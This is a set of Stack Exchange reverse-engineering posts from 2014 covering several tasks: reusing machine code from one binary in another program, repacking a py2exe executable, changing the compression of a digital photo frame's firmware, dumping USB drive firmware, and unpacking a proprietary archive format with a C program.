  <row Id="6759" PostTypeId="1" CreationDate="2014-12-03T17:09:58.973" Score="9" ViewCount="10528" Body="&lt;p&gt;I'm wondering what are the options (aside from attempting disassembly/decompilation and reassembly/recompilation) one has when it comes to extracting a series of functions from one binary, compiled for a specific platform and architecture and including it into a separate program in order to invoke those same functions in a newly compiled program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've attempted the decompilation extraction route but the code produced by common tools (such as IDA Pro) is hardly compilable code, and the logic I'm looking at is obfuscated and complex to understand and rewrite/reproduce by hand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen about a dozen applications that were able to do this with the same mentioned functions I'm trying to extract and can confirm they all look to be exactly the same when decompiling all other executables, can't figure out a route to do the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="9894" LastActivityDate="2014-12-04T19:58:06.890" Title="How to extract functions from one executable to include/link in another" Tags="|disassembly|decompilation|executable|binary|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6760" PostTypeId="2" ParentId="6759" CreationDate="2014-12-04T12:47:15.590" Score="1" Body="&lt;p&gt;The only project that claimed something like this possible (with significant amount of semi-automated and manual work) is &lt;a href=&quot;http://blog.trailofbits.com/2014/08/07/mcsema-is-officially-open-source/&quot; rel=&quot;nofollow&quot;&gt;McSema&lt;/a&gt;.&#xA;See the &lt;a href=&quot;https://github.com/trailofbits/mcsema/&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt; and &lt;a href=&quot;https://github.com/trailofbits/mcsema/blob/master/docs/DEMOS.md&quot; rel=&quot;nofollow&quot;&gt;examples&lt;/a&gt;, it may be useful.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2014-12-04T12:47:15.590" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6761" PostTypeId="1" AcceptedAnswerId="6762" CreationDate="2014-12-04T14:47:41.347" Score="1" ViewCount="2528" Body="&lt;p&gt;I have an application in Python compiled with py2exe.&#xA;I have successfully extracted python scripts using Py2ExeDumper converted to &lt;code&gt;.py&lt;/code&gt; using Easy Python Decompiler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made some modification to the python code and recompiled &lt;code&gt;.py&lt;/code&gt; files to &lt;code&gt;.pyc&lt;/code&gt; files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question : How can I rebuild the exe file using the new edited &lt;code&gt;.pyc&lt;/code&gt; files ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3214" LastEditorUserId="4437" LastEditDate="2014-12-04T17:04:50.740" LastActivityDate="2014-12-20T06:22:21.453" Title="Modify py2exe packed executable" Tags="|python|patch-reversing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6762" PostTypeId="2" ParentId="6761" CreationDate="2014-12-04T16:04:08.973" Score="1" Body="&lt;p&gt;Instead of trying to rebuild the EXE from the &lt;code&gt;.pyc&lt;/code&gt; files, you can just use py2exe to build a new EXE from the modified &lt;code&gt;.py&lt;/code&gt; files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, if you really want to &lt;em&gt;replace&lt;/em&gt; the library in the original EXE, you would need to extract the EXE's &lt;code&gt;PYTHONSCRIPT&lt;/code&gt; resource with a resource editor, un-marshal the array of code objects, replace the code object of your choosing in the array, re-marshal the array of code objects, and replace the &lt;code&gt;PYTHONSCRIPT&lt;/code&gt; resource data with this new marshaled stream. You can look at &lt;code&gt;_create_script_data&lt;/code&gt; in &lt;a href=&quot;http://sourceforge.net/p/py2exe/svn/HEAD/tree/trunk/py2exe-3/py2exe/runtime.py&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/p/py2exe/svn/HEAD/tree/trunk/py2exe-3/py2exe/runtime.py&lt;/a&gt; for more details.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2014-12-04T18:08:25.933" LastActivityDate="2014-12-04T18:08:25.933" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6763" PostTypeId="2" ParentId="6759" CreationDate="2014-12-04T19:58:06.890" Score="9" Body="&lt;p&gt;Assume you have some unknown object file. The source code of it was&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;&#xA;#define NCHAR   26&#xA;&#xA;void setkey(int i);&#xA;char *encrypt(char *s);&#xA;char keybuf[NCHAR];&#xA;char codepoint(char c);&#xA;&#xA;int main(void) {&#xA;    char *secret;&#xA;    setkey(5);&#xA;    secret=strdup(&quot;Hello World&quot;);&#xA;    printf(&quot;%s\n&quot;, encrypt(secret));&#xA;}&#xA;&#xA;void setkey(int key) {&#xA;    int i, val;&#xA;    val=key;&#xA;    for (i=0; i&amp;lt;NCHAR; i++) {&#xA;        keybuf[i]=val%NCHAR;&#xA;        val+=key;&#xA;    }&#xA;}&#xA;&#xA;char *encrypt(char *s) {&#xA;    char *t=s;&#xA;    while (*s) {&#xA;        if (*s&amp;gt;='a' &amp;amp;&amp;amp; *s&amp;lt;='z') {&#xA;            *s='a'+codepoint(*s-'a');&#xA;        } else if (*s&amp;gt;='A' &amp;amp;&amp;amp; *s&amp;lt;='Z') {&#xA;            *s='A'+codepoint(*s-'A');&#xA;        }&#xA;        s++;&#xA;    }&#xA;    return t;&#xA;}&#xA;&#xA;char codepoint(char c) {&#xA;    return keybuf[c];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only thing you have is the object code. For reference, &lt;code&gt;objdump -d original&lt;/code&gt; yields&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Disassembly of section .text:&#xA;&#xA;0000000000400490 &amp;lt;_start&amp;gt;:&#xA;  400490:   31 ed                   xor    %ebp,%ebp&#xA;...&#xA;000000000040057d &amp;lt;main&amp;gt;:&#xA;  40057d:   55                      push   %rbp&#xA;  40057e:   48 89 e5                mov    %rsp,%rbp&#xA;...&#xA;  4005b2:   c3                      retq   &#xA;&#xA;00000000004005b3 &amp;lt;setkey&amp;gt;:&#xA;  4005b3:   55                      push   %rbp&#xA;  4005b4:   48 89 e5                mov    %rsp,%rbp&#xA;...&#xA;  4005ed:   48 98                   cltq   &#xA;  4005ef:   88 90 60 10 60 00       mov    %dl,0x601060(%rax)&#xA;  4005f5:   8b 45 ec                mov    -0x14(%rbp),%eax&#xA;...&#xA;  400606:   c3                      retq   &#xA;&#xA;0000000000400607 &amp;lt;encrypt&amp;gt;:&#xA;  400607:   55                      push   %rbp&#xA;  400608:   48 89 e5                mov    %rsp,%rbp&#xA;...&#xA;  400677:   89 c7                   mov    %eax,%edi&#xA;  400679:   e8 21 00 00 00          callq  40069f &amp;lt;codepoint&amp;gt;&#xA;  40067e:   83 c0 41                add    $0x41,%eax&#xA;...&#xA;  40069e:   c3                      retq   &#xA;&#xA;000000000040069f &amp;lt;codepoint&amp;gt;:&#xA;  40069f:   55                      push   %rbp&#xA;  4006a0:   48 89 e5                mov    %rsp,%rbp&#xA;...&#xA;  4006ac:   48 98                   cltq   &#xA;  4006ae:   0f b6 80 60 10 60 00    movzbl 0x601060(%rax),%eax&#xA;  4006b5:   5d                      pop    %rbp&#xA;  4006b6:   c3                      retq   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You want to use that code in your program. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;To do this, you don't really have to understand or disassemble it, or make it compilable&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only things you will need to find out, using IDA, a debugger, or your favourite tools, are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The interesting part of the code is the part from 0x4005B3 to 0x4006B6. &lt;/li&gt;&#xA;&lt;li&gt;This code references some variable at 0x601060 at two different locations, 0x4005ef and 0x4006ae. (The instructions need 2 resp. 3 bytes, so the addresses are at 0x4005b1 and 0x4006b1).&lt;/li&gt;&#xA;&lt;li&gt;To use it, you have to call the function at 0x4005b3 with an integer first, then the function at 0x400607 with a string to get the encrypted string.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Let's convert the whole .text section into an array of characters, ready to be embedded into C code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ objdump -s -j .text original | grep '^ 4' | cut -d' ' -f3-6 | tr -d ' ' | sed 's/../0x&amp;amp;,/g'&#xA;0x31,0xed,0x49,0x89,0xd1,0x5e,0x48,0x89,0xe2,0x48,0x83,0xe4,0xf0,0x50,0x54,0x49,&#xA;...&#xA;0x41,0x5e,0x41,0x5f,0xc3,0x66,0x66,0x2e,0x0f,0x1f,0x84,0x00,0x00,0x00,0x00,0x00,&#xA;0xf3,0xc3,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and write a new program to use it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;&#xA;char code[]={&#xA;0x31,0xed,0x49,0x89,0xd1,0x5e,0x48,0x89,0xe2,0x48,0x83,0xe4,0xf0,0x50,0x54,0x49,&#xA;0xc7,0xc0,0x30,0x07,0x40,0x00,0x48,0xc7,0xc1,0xc0,0x06,0x40,0x00,0x48,0xc7,0xc7,&#xA;0x7d,0x05,0x40,0x00,0xe8,0xa7,0xff,0xff,0xff,0xf4,0x66,0x0f,0x1f,0x44,0x00,0x00,&#xA;0xb8,0x4f,0x10,0x60,0x00,0x55,0x48,0x2d,0x48,0x10,0x60,0x00,0x48,0x83,0xf8,0x0e,&#xA;0x48,0x89,0xe5,0x77,0x02,0x5d,0xc3,0xb8,0x00,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,&#xA;0xf4,0x5d,0xbf,0x48,0x10,0x60,0x00,0xff,0xe0,0x0f,0x1f,0x80,0x00,0x00,0x00,0x00,&#xA;0xb8,0x48,0x10,0x60,0x00,0x55,0x48,0x2d,0x48,0x10,0x60,0x00,0x48,0xc1,0xf8,0x03,&#xA;0x48,0x89,0xe5,0x48,0x89,0xc2,0x48,0xc1,0xea,0x3f,0x48,0x01,0xd0,0x48,0xd1,0xf8,&#xA;0x75,0x02,0x5d,0xc3,0xba,0x00,0x00,0x00,0x00,0x48,0x85,0xd2,0x74,0xf4,0x5d,0x48,&#xA;0x89,0xc6,0xbf,0x48,0x10,0x60,0x00,0xff,0xe2,0x0f,0x1f,0x80,0x00,0x00,0x00,0x00,&#xA;0x80,0x3d,0x19,0x0b,0x20,0x00,0x00,0x75,0x11,0x55,0x48,0x89,0xe5,0xe8,0x7e,0xff,&#xA;0xff,0xff,0x5d,0xc6,0x05,0x06,0x0b,0x20,0x00,0x01,0xf3,0xc3,0x0f,0x1f,0x40,0x00,&#xA;0x48,0x83,0x3d,0xc8,0x08,0x20,0x00,0x00,0x74,0x1e,0xb8,0x00,0x00,0x00,0x00,0x48,&#xA;0x85,0xc0,0x74,0x14,0x55,0xbf,0x20,0x0e,0x60,0x00,0x48,0x89,0xe5,0xff,0xd0,0x5d,&#xA;0xe9,0x7b,0xff,0xff,0xff,0x0f,0x1f,0x00,0xe9,0x73,0xff,0xff,0xff,0x55,0x48,0x89,&#xA;0xe5,0x48,0x83,0xec,0x10,0xbf,0x05,0x00,0x00,0x00,0xe8,0x24,0x00,0x00,0x00,0xbf,&#xA;0x44,0x07,0x40,0x00,0xe8,0xe7,0xfe,0xff,0xff,0x48,0x89,0x45,0xf8,0x48,0x8b,0x45,&#xA;0xf8,0x48,0x89,0xc7,0xe8,0x5e,0x00,0x00,0x00,0x48,0x89,0xc7,0xe8,0x9f,0xfe,0xff,&#xA;0xff,0xc9,0xc3,0x55,0x48,0x89,0xe5,0x89,0x7d,0xec,0x8b,0x45,0xec,0x89,0x45,0xfc,&#xA;0xc7,0x45,0xf8,0x00,0x00,0x00,0x00,0xeb,0x36,0x8b,0x4d,0xfc,0xba,0x4f,0xec,0xc4,&#xA;0x4e,0x89,0xc8,0xf7,0xea,0xc1,0xfa,0x03,0x89,0xc8,0xc1,0xf8,0x1f,0x29,0xc2,0x89,&#xA;0xd0,0x6b,0xc0,0x1a,0x29,0xc1,0x89,0xc8,0x89,0xc2,0x8b,0x45,0xf8,0x48,0x98,0x88,&#xA;0x90,0x60,0x10,0x60,0x00,0x8b,0x45,0xec,0x01,0x45,0xfc,0x83,0x45,0xf8,0x01,0x83,&#xA;0x7d,0xf8,0x19,0x7e,0xc4,0x5d,0xc3,0x55,0x48,0x89,0xe5,0x48,0x83,0xec,0x20,0x48,&#xA;0x89,0x7d,0xe8,0x48,0x8b,0x45,0xe8,0x48,0x89,0x45,0xf8,0xeb,0x71,0x48,0x8b,0x45,&#xA;0xe8,0x0f,0xb6,0x00,0x3c,0x60,0x7e,0x2c,0x48,0x8b,0x45,0xe8,0x0f,0xb6,0x00,0x3c,&#xA;0x7a,0x7f,0x21,0x48,0x8b,0x45,0xe8,0x0f,0xb6,0x00,0x83,0xe8,0x61,0x0f,0xbe,0xc0,&#xA;0x89,0xc7,0xe8,0x58,0x00,0x00,0x00,0x83,0xc0,0x61,0x89,0xc2,0x48,0x8b,0x45,0xe8,&#xA;0x88,0x10,0xeb,0x35,0x48,0x8b,0x45,0xe8,0x0f,0xb6,0x00,0x3c,0x40,0x7e,0x2a,0x48,&#xA;0x8b,0x45,0xe8,0x0f,0xb6,0x00,0x3c,0x5a,0x7f,0x1f,0x48,0x8b,0x45,0xe8,0x0f,0xb6,&#xA;0x00,0x83,0xe8,0x41,0x0f,0xbe,0xc0,0x89,0xc7,0xe8,0x21,0x00,0x00,0x00,0x83,0xc0,&#xA;0x41,0x89,0xc2,0x48,0x8b,0x45,0xe8,0x88,0x10,0x48,0x83,0x45,0xe8,0x01,0x48,0x8b,&#xA;0x45,0xe8,0x0f,0xb6,0x00,0x84,0xc0,0x75,0x84,0x48,0x8b,0x45,0xf8,0xc9,0xc3,0x55,&#xA;0x48,0x89,0xe5,0x89,0xf8,0x88,0x45,0xfc,0x0f,0xbe,0x45,0xfc,0x48,0x98,0x0f,0xb6,&#xA;0x80,0x60,0x10,0x60,0x00,0x5d,0xc3,0x66,0x0f,0x1f,0x84,0x00,0x00,0x00,0x00,0x00,&#xA;0x41,0x57,0x41,0x89,0xff,0x41,0x56,0x49,0x89,0xf6,0x41,0x55,0x49,0x89,0xd5,0x41,&#xA;0x54,0x4c,0x8d,0x25,0x38,0x07,0x20,0x00,0x55,0x48,0x8d,0x2d,0x38,0x07,0x20,0x00,&#xA;0x53,0x4c,0x29,0xe5,0x31,0xdb,0x48,0xc1,0xfd,0x03,0x48,0x83,0xec,0x08,0xe8,0x25,&#xA;0xfd,0xff,0xff,0x48,0x85,0xed,0x74,0x1e,0x0f,0x1f,0x84,0x00,0x00,0x00,0x00,0x00,&#xA;0x4c,0x89,0xea,0x4c,0x89,0xf6,0x44,0x89,0xff,0x41,0xff,0x14,0xdc,0x48,0x83,0xc3,&#xA;0x01,0x48,0x39,0xeb,0x75,0xea,0x48,0x83,0xc4,0x08,0x5b,0x5d,0x41,0x5c,0x41,0x5d,&#xA;0x41,0x5e,0x41,0x5f,0xc3,0x66,0x66,0x2e,0x0f,0x1f,0x84,0x00,0x00,0x00,0x00,0x00,&#xA;0xf3,0xc3,&#xA;};&#xA;&#xA;// we don't know how large it has to be. From the disassembly,&#xA;// we learned 26 bytes should be enough. Better make it larger and be&#xA;// on the safe side.&#xA;char buffer[1000];&#xA;&#xA;int main(void) {&#xA;&#xA;    void (*f1)(int)=(void *)(code-0x400490+0x4005b3);&#xA;    char* (*f2)(char *)=(void *)(code-0x400490+0x400607);&#xA;&#xA;    *(int *)(code-0x400490+0x4005f1)=(int)(long)&amp;amp;buffer;&#xA;    *(int *)(code-0x400490+0x4006b1)=(int)(long)&amp;amp;buffer;&#xA;&#xA;    (*f1)(5);&#xA;    printf(&quot;%s\n&quot;, (*f2)(strdup(&quot;Hello World&quot;)));&#xA;    printf(&quot;%s\n&quot;, (*f2)(strdup(&quot;Some other String&quot;)));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since the original text segment started at 0x400490, and our functions started at 0x4005b3 and 0x400607, we calculate the new offsets from the start of the &lt;code&gt;code&lt;/code&gt; array. And since we &#xA;found two references to a buffer outside the original program, we patch them to point to our buffer instead. Note we don't have to do anything with the call from encrypt to codepoint,&#xA;since the code is position-independent anyway (call the function at 0x21 bytes from here).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, don't forget to make the data/stack segment executable when we compile the program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cc -zexecstack -g -o copy copy.c&#xA;$ ./copy&#xA;Oziix Lxmiu&#xA;Rxnz xwozm Rwmtsj&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, there's still some problems to solve:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You have to find everything that might get called from your functions, and include all of it into your code.&lt;/li&gt;&#xA;&lt;li&gt;You have to find all references to data outside your code, and patch the pointers accordingly; if the data contains pointers, patch them as well.&lt;/li&gt;&#xA;&lt;li&gt;If your code calls any library functions, you'll have to do the relocation. Fortunately, the relocation table of the (ELF/PE) binary shows you where to do this.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The upside of this approach is it can even work between operating systems, if they use the same processor architecture. You might need to write wrapper functions around the calls however, &#xA;if the ABI is different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to get fancy, don't call the functions directly; embed an emulator engine in your program and have the emulator execute the code. This can help you a lot to detect if&#xA;some code is missing, or where references to external data are. Once you get it running with an emulator, obviously, you can leave it in your final program, which may even enable&#xA;you to use some ARM routines in your new PC program. Or vice versa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can download the files at &#xA;&lt;a href=&quot;https://mega.co.nz/#!8dR0TZhA!Z4DdQ07JCUzV5nJiJ79PZhHbiKDu9QZEw10IXr7ssuI&quot; rel=&quot;noreferrer&quot;&gt;https://mega.co.nz/#!8dR0TZhA!Z4DdQ07JCUzV5nJiJ79PZhHbiKDu9QZEw10IXr7ssuI&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-12-04T19:58:06.890" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6764" PostTypeId="1" CreationDate="2014-12-05T00:25:50.607" Score="0" ViewCount="1891" Body="&lt;p&gt;I have purchased this digital photo frame:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.globalshiping.com/en/usb-24-tft-16mb-digital-photo-frame-flash-can-store-32-of-your-favorite-photos.html?language=en&amp;amp;currency=USD[1]&quot; rel=&quot;nofollow&quot;&gt;http://www.globalshiping.com/en/usb-24-tft-16mb-digital-photo-frame-flash-can-store-32-of-your-favorite-photos.html?language=en&amp;amp;currency=USD[1]&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure whether it's the software or the hardware that is doing the JPEG compression, but it's absolutely terrible, especially for text, makes things unreadable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to either completely remove the compression or lessen it, and it would be perfect. Does anyone have any advice on how to achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or do you know someone that could do it for me? I would be willing to send you one of them to do so and pay you for your time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: I have done more research on this, apparently some people have hacked this particular type of photo frame with the APPOTECH AX205 Chipset for various functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below are links referring to this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hxxp://bastel.dyndns.info/~dockstar/lcd/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hxxp://flux242.blogspot.com/2012/02/digital-picture-frame-as-router-status.html&#xA;&lt;br&gt;hxxps://forum.openwrt.org/viewtopic.php?id=34133&#xA;&lt;br&gt;hxxp://picframe.spritesserver.nl/wiki/index.php/DPF_with_AppoTech_AX206&#xA;&lt;br&gt;&lt;a href=&quot;http://openschemes.com/2011/08/23/our-turn-with-the-ax206-digital-photo-frames/2/&quot; rel=&quot;nofollow&quot;&gt;http://openschemes.com/2011/08/23/our-turn-with-the-ax206-digital-photo-frames/2/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last link provides a development handbook for it: hxxp://openschemes.com/wp-content/uploads/2011/08/ax206_dh_v0.0.2_en_working.pdf&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last section shows compression rates. So it seems like this is done in hardware, and since others have downloaded, modified, and then uploaded firmware back to the device, is there a way for me to change the compression rate to 0, and upload new firmware to it? I don't even need to store alot of images, 10-15 would be enough. Even at 100% quality in photoshop, a 320x240 image is roughly 100KB so it would be plenty. Please advise. Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2&lt;/strong&gt;: I've downloaded the firmware from the device, and disassembled it. Unfortunately I do not know how to interpret/read the output to change what I need to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;;2008-09-26&#xA;DB 0,0 ; Max photo supported is 0, i.e. no limit. First digit is&#xA;; low byte. Second digit is high byte.&#xA;DB 1 ; Photo format in 4:1:1 or 1:1:1&#xA;DB 92 ; Compression quality: 1 – 100&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is the section with the pertinent information. So all I would need now is to change the pertinent section, recompile the bin, and upload back onto the device. Anyone?&lt;/p&gt;&#xA;" OwnerUserId="10180" LastEditorUserId="10180" LastEditDate="2014-12-09T22:21:40.067" LastActivityDate="2015-10-03T07:21:54.393" Title="How to hack a digital photo frame to remove JPEG compression?" Tags="|hardware|" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="6765" PostTypeId="1" CreationDate="2014-12-05T01:23:59.953" Score="5" ViewCount="1204" Body="&lt;p&gt;I'm pretty new to this subject, but I read up on BadUSB and Psychson, and think that they are incredibly cool projects.  It got me thinking that I'd like to delve into the depths of USB and see where it takes me.  I bought a couple of drives from Amazon, and I'd like to know if there is an established way to copy the firmware, so that I can study, and hopefully reverse engineer it.  Are there tools I should know about?  Any tips would be great!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="10072" LastActivityDate="2015-01-07T01:18:08.490" Title="Is there a way to copy a flash drive's firmware?" Tags="|firmware|usb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6767" PostTypeId="1" CreationDate="2014-12-05T11:09:36.760" Score="-2" ViewCount="88" Body="&lt;p&gt;I've been pointed here from a question I've posted on superuser:&#xA;&lt;a href=&quot;https://superuser.com/questions/848108/open-img-file-to-mod-a-software/848844#848844&quot;&gt;https://superuser.com/questions/848108/open-img-file-to-mod-a-software/848844#848844&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I'm trying to modify the background of a window of a software, because the only ones available are too bright and hurt my eyes if I stare the monitor for more than 10min!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found these files in a subfolder of the program but they are saved with an extension .img, however this is not the real extension actually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the files here: &lt;a href=&quot;https://drive.google.com/folderview?id=0BxENJdqZ02Q0LUNRZVZGVEpxZXc&amp;amp;usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/folderview?id=0BxENJdqZ02Q0LUNRZVZGVEpxZXc&amp;amp;usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here the answer that pointed me here: &lt;a href=&quot;https://superuser.com/a/848844/153946&quot;&gt;https://superuser.com/a/848844/153946&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you help me to open these files and modify them in order to get a black background?&lt;/p&gt;&#xA;" OwnerUserId="10186" LastEditorUserId="-1" LastEditDate="2017-03-20T10:04:42.917" LastActivityDate="2014-12-05T12:51:37.977" Title="How to open and modify these files?" Tags="|windows|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6768" PostTypeId="2" ParentId="6767" CreationDate="2014-12-05T12:51:37.977" Score="3" Body="&lt;p&gt;These files are archives, as the superuser post suggested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each file has a 4 byte header which has the value &quot;20SR&quot;, a 4 byte value that holds the number of files in the archive, then an array of 52 byte filename/length info, and the file data. Each file consists of a 4 byte value that repeats the size, then a deflated byte stream of the original file data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following C program rips these file(s) apart:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;WARNING: Do not use as an example for good programming style. Error checking is minimal.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;#include &amp;lt;zlib.h&amp;gt;&#xA;&#xA;struct filedesc {&#xA;        char filename[40];&#xA;        int origsize, compressedsize, filepos;&#xA;};&#xA;&#xA;char *emalloc(int n);&#xA;&#xA;int main(int argc, char **argv) {&#xA;        FILE *fp, *out;&#xA;        char header[4], *inbuf, *outbuf;&#xA;        char basename[256];&#xA;        int i, j;&#xA;        int nfiles;&#xA;        struct filedesc filedesc;&#xA;        z_stream stream;&#xA;&#xA;        if (sizeof(nfiles)!=4) {&#xA;                fprintf(fp, &quot;int size not 32 bit -&amp;gt; aborting\n&quot;);&#xA;                exit(1);&#xA;        }&#xA;        for (i=1; i&amp;lt;argc; i++) {&#xA;                if ((fp=fopen(argv[i], &quot;rb&quot;))==NULL) {&#xA;                        perror(argv[i]);&#xA;                        continue;&#xA;                }&#xA;                fread(header, 4, 1, fp);&#xA;                if (memcmp(header, &quot;20SR&quot;, 4)) {&#xA;                        fprintf(stderr, &quot;%s: Wrong File Format\n&quot;, argv[i]);&#xA;                        fclose(fp);&#xA;                        continue;&#xA;                }&#xA;                printf(&quot;===== %s ======\n&quot;, argv[i]);&#xA;                fread(&amp;amp;nfiles, sizeof nfiles, 1, fp);&#xA;                for (j=0; j&amp;lt;nfiles; j++) {&#xA;                        fseek(fp, 8+(long)j*sizeof filedesc, 0);&#xA;                        fread(&amp;amp;filedesc, sizeof filedesc, 1, fp);&#xA;                        printf(&quot;%2d: %-40s %08x %08x %08x\n&quot;, j,&#xA;                                filedesc.filename, filedesc.origsize, filedesc.compressedsize, filedesc.filepos);&#xA;                        fseek(fp, (long)filedesc.filepos+4, 0);&#xA;                        strcpy(basename, argv[i]);&#xA;                        if ((outbuf=strchr(basename, '.'))==NULL) {&#xA;                                strcat(basename, &quot;.d&quot;);&#xA;                                outbuf=basename+strlen(basename);&#xA;                        } else {&#xA;                                *outbuf='\0';&#xA;                        }&#xA;                        mkdir(basename, 0777);&#xA;                        strcat(basename, &quot;/&quot;);&#xA;                        strcat(basename, filedesc.filename);&#xA;&#xA;                        if ((out=fopen(basename, &quot;wb&quot;))==NULL) {&#xA;                                perror(basename);&#xA;                        } else {&#xA;                                inbuf=malloc(filedesc.compressedsize-4);&#xA;                                outbuf=malloc(filedesc.origsize);&#xA;                                fread(inbuf, filedesc.compressedsize-4, 1, fp);&#xA;                                stream.zalloc=Z_NULL;&#xA;                                stream.zfree=Z_NULL;&#xA;                                stream.opaque=Z_NULL;&#xA;                                stream.avail_in=filedesc.compressedsize;&#xA;                                stream.next_in=inbuf;&#xA;                                stream.avail_out=filedesc.origsize;&#xA;                                stream.next_out=outbuf;&#xA;                                inflateInit(&amp;amp;stream);&#xA;                                inflate(&amp;amp;stream, Z_FINISH);&#xA;                                inflateEnd(&amp;amp;stream);&#xA;&#xA;                                fwrite(outbuf, filedesc.origsize, 1, out);&#xA;                                fclose(out);&#xA;                                free(inbuf);&#xA;                                free(outbuf);&#xA;                        }&#xA;                }&#xA;                fclose(fp);&#xA;        }&#xA;}&#xA;&#xA;char *emalloc(int n) {&#xA;        char *t;&#xA;        if ((t=malloc(n))==NULL) {&#xA;                fprintf(stderr, &quot;no space\n&quot;);&#xA;                exit(1);&#xA;        }&#xA;        return t;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I may or may not have the time to create a program to compress a bunch of files over the weekend. Btw, the images in the table*.img files seem to be buttons or something similar, i guess the background itself is defined in one of the css files in layout.img.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-12-05T12:51:37.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
